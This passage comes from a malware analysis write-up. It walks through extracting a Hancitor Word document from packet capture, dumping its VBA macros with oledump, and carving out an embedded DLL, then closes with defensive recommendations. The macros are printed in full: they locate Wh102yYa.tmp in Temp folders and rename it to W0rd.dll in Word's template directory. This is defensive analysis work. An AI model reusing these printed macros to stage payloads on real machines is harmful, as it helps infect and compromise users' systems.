So, we left with the malware type of Hancitor, which is the DOC file that was downloaded to the client site by running JavaScript on the browser. To extract that file from PCAP itself we need the uninviting.php we saw earlier. To extract that file, we need to go Files>Export Object>HTTP, then the uninviting.php** need to be selected and saved on the right path so we can do our analysis on it.

Please note, we need the bigger one, which is the one that contains the encoded base64 doc file on the JavaScript block.

mta-067.png

This file is actual HTML file on the client side, so we need to change the extension to .html so the local browser will read it as HTML, while opening it will download the file directly to the download folder.

mta-068.png

mta-069.png

Now we can use oledump to dump the Macro blocks from that DOC file, the following is the way to read the structure of the file to understand where the Macro is stored. From the following we can see that there is several Macros, they can be found on stream 8 to 12.

mta-070.png

Next, we can read the Macro by running the following command. oledump 0208_54741869750132.doc –vbadecompressskipattributes -s8

mta-071.png

' Function to recursively search for subfolders and check for specific files
Function Getme(RootPath As String)
    Dim hor As String 
    Dim fso As Object 
    Dim fld As Object 
    Dim vhhs As Object 
    Dim afs As String 
    Dim myArr 
    hor = repid 
    Dim asdf 
    Dim cheza As String 
    asdf = RootPath 
    Dim fer As String 
    ' Create a FileSystemObject to interact with the file system
    Set fso = CreateObject("Scripting.FileSystemObject")
    ' Get the folder object for the specified root path
    Set fld = fso.GetFolder(asdf)
    Dim uuj As String 
    uuj = "Wh102yYa.t" & "mp" 
    ' Check if the file exists in the root path
    strFileExists = Dir(RootPath & "\" & uuj)
    ' If the file does not exist, iterate through each subfolder in the folder, Call the function checkthe with the subfolder
    If strFileExists = "" Then 
        For Each vhhs In fld.SUBFOLDERS
            afs = vhhs 
            Call checkthe(afs)
            myArr = Getme(vhhs.Path)
        Next
        Set vhhs = Nothing
        Getme = myArr 
        Set fld = Nothing
        Set fso = Nothing
    ' If the file exists, Assign the value of hor to kurlbik and Check if another specific file exists in the path
    Else 
        Dim kurlbik As String 
        kurlbik = hor 
        If Dir(kurlbik & "\" & "W0" & "rd.d" & "ll") = "" Then
            Call hi(RootPath)
        Else
            Exit Function 
        End If
    End If
End Function
' Function to check the existence of a specific file
Function chek()
    Dim jsa As String 
    jsa = repid 
    If Dir(jsa & "\" & "W0" & "rd.d" & "ll") = "" Then
        chek = 0 
    Else
        chek = 1 
    End If
End Function

Please note, the comment lines are my explanation comments, so you can perform copy past directly.

The code consists of two main functions written in VBA (Visual Basic for Applications). It is designed to interact with the file system, specifically focusing on checking for the existence of certain files and recursively processing folders.

Also it look like the code developer use technique in the written block to make the code harder to read and analyze, as example uuj = “Wh102yYa.t” & “mp”are equal to uuj = “Wh102yYa.tmp” and Dir(kurlbik & “" & “W0” & “rd.d” & “ll”) are equal to Dir(“hor\W0rd.dll”).

That block code search for the following files:

  • Wh102yYa.tmp
  • hor\W0rd.dll
  • repid\W0rd.dll

The next Macro block can be display by using the following command: oledump 0208_54741869750132.doc –vbadecompressskipattributes -s9

mta-073.png

Sub fke()
Selection.MoveDown Unit:=wdLine, Count:=1
    Selection.MoveRight Unit:=wdCharacter, Count:=5
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=50
Call xren
End Sub

Sub xren()
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=5
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=50
       Selection.TypeBackspace
   Selection.Copy
End Sub

It looks like the purpose of these code blocks is to manipulate and copy specific portions of text in the document. The Macro moves around to specific locations and executes Selection.TypeBackspace which is used to delete a character at a specific position, possibly to clean up or modify the text before copying it.

For the next code block we need to specified steams 10, we can run the following command:

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s10

mta-074.png

Sub hhhhh()
Dim posl As String
posl = repid
Dim ntgs
Dim sda
Call fke
    ntgs = 50
sda = 49
Dim jos As String
jos = posl
Dim yer As String
yer = "Loc" & "al" & "\Te" & "mp"
While sda < 50
      ntgs = ntgs - 1
      If Dir(Left(jos, ntgs) & yer, vbDirectory) = "" Then
    Else
   sda = 61
    End If
   Wend
   Dim klas As String
   klas = posl
Call Getme(Left(klas, ntgs) & yer)
  Selection.TypeBackspace
End Sub
Sub rnee(myhome As String, hsa As String)
Dim has As String
has = "\" & "Wh102yYa.tm" & "p"
Name myhome & has As hsa
End Sub

By reading that code, it seems that the developer wants to perform operations related to checking directory existence, modifying paths, and renaming files.

We can see several files from that code block:

  • Local\Temp
  • Wh102yYa.tmp

Next is the stream 11 which contain another Macro code

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s11

mta-000.png

Sub hi(myhome As String)
Dim glog As String
glog = repid
Dim hsa As String
hsa = glog
Call jop(myhome, hsa & "\W0" & "rd.d" & "ll")
End Sub

This subroutine likely builds a file path based on the repid variable and then calls the jop subroutine to perform some operation (likely involving the W0rd.dll file). Since we have left with one last Macro to check, it should clear out the operation this Macros should do.

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s12

mta-000.png

Sub checkthe(sf As String)
Dim pafh As String
pafh = repid
Dim ololow As String
ololow = sf
Dim nothings As String
nothings = pafh & "\" & "W0" & "rd.d" & "ll"
      If Dir(sf & "\Wh102yYa.t" & "mp") = "" Then
    Else
         If Dir(nothings) = "" Then
        Call nm(ololow)
    Else
   Exit Sub
    End If
    End If
End Sub
Sub nm(ololow As String)
  Name ololow & "\Wh102yYa.t" & "m" & "p" As Word.ActiveDocument.AttachedTemplate.Path & "\" & "W0" & "rd.d" & "ll"
End Sub
Function repid()
repid = Word.ActiveDocument.AttachedTemplate.Path
End Function
Sub jop(uuu As String, aaaa As String)
Call rnee(uuu, aaaa)
End Sub

From that last block code we can see the following, checkthe subrouting looks for a file named Wh102yYa.tmp in a folder sf. If found, it checks whether W0rd.dll file exists in the repid directory. If W0rd.dll doesn’t exist, it calls nm subrouting to rename Wh102yYa.tmp to W0rd.dll. nm handles renaming and moving the file to the path of the active document’s template.

So now we can brack it down to understand what the developer intended to do with these Macros, the macros from sections 8 to 12 collectively seem to be designed for move or hide files in the system. The developer appears to be using VBA (Visual Basic for Applications) in a Word document to manipulate files on the local system by.

The macros systematically look for files in the system, likely related to the malware, and ensure that they exist before taking further action. It searche for two files Wh102yYa.tmp and W0rd.dll. If the file Wh102yYa.tmp exist it rename it to W0rd.dll and placing it on the path of the active document’s template directory. If these files are missing or incomplete, it calls other subroutines (nm, rnee, etc.) to ensure that the appropriate files

are moved and renamed to complete the setup. The function repid() plays a crucial role by retrieving the path of the Word document’s template, which is being used as a destination for the malicious W0rd.dll file.

These Macros do not directly execute the W0rd.dll file. Execution may occur through an external or subsequent process after the renaming, so we need to find that Wh102yYa.tmp, what we can do is to dig again on the DOC structure, which can give a clue where that DLL file should be store.

By running the first command we can see that the stream 17 look interesting since is the bigger one.

oledump 0208_54741869750132.doc

mta-000.png

Dump out the string from that stream look interesting since it contain path of Wh102yYa.tmp at the biggening and in the end.

oledump 0208_54741869750132.doc -s17 -S | tr -d “\n” | more

mta-000.png

Also we can use extract flag in oledump, which should display the file in binary form. oledump 0208_54741869750132.doc -s17 -e

mta-000.png

We can see clue about this file type which say this program need to run under Win32, so this is binary file for windows system, it likely to be the DLL we are searching. So we can extract the output to local file and running the file command to check that file type.

oledump 0208_54741869750132.doc -s17 -e > test_file file test_file

mta-000.png

So now we know for sure that this is DLL file, running the command objdump -x test_file or strings test_file, didn’t give much info about the file, so we can check its hash can take a look on Virus Total. Please note, I have change the name for my convenience.

mv test_file test_file.dll Sha256sum test_file

mta-000.png

mta-000.png

So now we know for sure that this is the Wh102yYa.tmp file we were looking.

Recommendations

Based on the recent analysis of network activity and the security incidents observed, here are some important recommendations to improve the organization’s security:

Disable Outdated Services

Turn off older network services. These services were detected in the traffic and can be exploited by attackers.

Disable SMB1 to prevent exploitation of old vulnerabilities.

Disable MDNS to reduce exposure to local network attacks.

Disable NBNS to prevent name resolution attacks.

Disable LLMNR to protect against credential theft.

These actions should complement your existing security measures and address some of the threats and vulnerabilities identified in your PCAP analysis.

Enhance Security Measures

Base on the activities found on the provided PCAP file, we were able to track the attacker activities, then we made up indicators that can be use and implementing on the internal network for prevent same case in the future.

Block IOCs: Use your firewall or DNS service to block the domains and IP addresses mentioned above.

Antivirus Scan: Run an antivirus scan across all systems, ensuring it detects malware like Hancitor, FickerStealer, and Cobalt Strike.

Employee Training: Start by educating your employees about phishing emails and suspicious file downloads.

Regular Updates: Ensure all systems are patched regularly to avoid vulnerabilities.

Data Monitoring: Use simple tools to monitor data leaving your network, especially towards unknown IPs or large transfers.

This revised approach should fit a smaller company’s budget and resources, while still offering protection against the key threats identified.

This post is licensed under CC BY 4.0 by the author.